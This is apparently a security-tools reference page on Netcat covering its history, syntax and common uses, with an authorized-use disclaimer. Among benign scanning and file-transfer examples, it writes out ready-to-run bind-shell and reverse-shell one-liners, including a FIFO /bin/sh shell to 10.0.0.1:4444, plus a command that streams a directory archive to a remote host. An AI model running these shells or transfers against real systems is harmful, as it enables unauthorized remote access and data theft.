Sniffing & Spoofing
Netcat (nc) is a versatile networking utility that reads and writes data across network connections using TCP or UDP. It can create almost any kind of connection and is used for port scanning, file transfers, and creating backdoors.
sudo apt install netcat
nc [options] <host> <port>
Netcat, often called the Swiss Army Knife of networking, is a simple yet powerful utility that reads and writes data across network connections using TCP or UDP. Its minimal design belies its versatility — it can function as a port scanner, file transfer tool, chat server, reverse shell, or network debugger.
Originally created by Hobbit in 1995, Netcat has been ported to every major operating system and is included by default on virtually all Linux distributions. Its simplicity makes it ideal for scripting and quick network testing without installing additional tools.
Security professionals use Netcat extensively for penetration testing, particularly for creating reverse shells during exploitation and transferring files between systems. Despite its age, Netcat remains one of the most practical tools in any security toolkit.
nc -lvp 4444Listen on port - Creating a listener for incoming connectionsnc 192.168.1.1 4444Connect to port - Connecting to a remote listenernc -lvp 4444 -e /bin/bashBind shell - Creating a shell listener (dangerous!)nc 192.168.1.1 4444 -e /bin/bashReverse shell - Sending shell to listenernc -zv 192.168.1.1 1-1000Port scan - Quick port scanningnc -lvp 1234 > file.txtReceive file - File transfer (receiver)nc -w 3 192.168.1.1 80Timeout - Drop the connection after 3 seconds of inactivitync -u 192.168.1.1 53UDP mode - Open a UDP connection instead of TCPecho '' | nc -v -n -w1 192.168.1.1 22Banner grab - Connect briefly to read a service bannerrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/fFIFO reverse shell - Reverse shell on netcat builds without -enc -lvnp 4444 -kKeep listening - Stay open for repeated inbound connectionstar czf - /path | nc 192.168.1.1 4444Directory transfer - Stream a compressed archive over netcatCreate a reverse shell connection from a target back to your listener for remote access.
Scan target ports to identify open services and potential attack vectors.
Transfer files between systems without needing SCP, FTP, or other file transfer tools.
Retrieve service banners from open ports to identify software versions and configurations.
Test TCP/UDP connectivity and diagnose network issues with raw connections.
Set up a listening shell on a target that you can connect to for remote command execution.
It provides connection feedback and then establishes a direct pipe. Any characters entered on one side are immediately transmitted and displayed on the other side.
This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.